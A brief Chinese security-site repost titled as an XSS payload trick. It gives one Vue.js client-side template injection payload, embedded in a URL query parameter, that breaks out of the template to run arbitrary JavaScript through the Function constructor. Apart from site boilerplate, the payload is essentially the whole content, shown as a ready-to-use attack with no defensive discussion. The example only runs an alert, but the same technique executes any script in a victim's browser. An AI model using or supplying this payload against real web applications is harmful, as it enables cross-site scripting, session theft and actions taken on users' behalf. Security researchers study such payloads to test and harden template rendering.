Vue.js Javascript库客户端模板注入
hxxp://host/?name={{this.constructor.constructor('alert("foo")')()}}
本文始发于微信公众号（Khan安全攻防实验室）：奇技淫巧(7) - XSS payload
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
- 本文由 admin 发表于 2022年6月14日17:15:48
- 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
奇技淫巧(7) - XSS payloadhttp://cn-sec.com/archives/534988.html
评论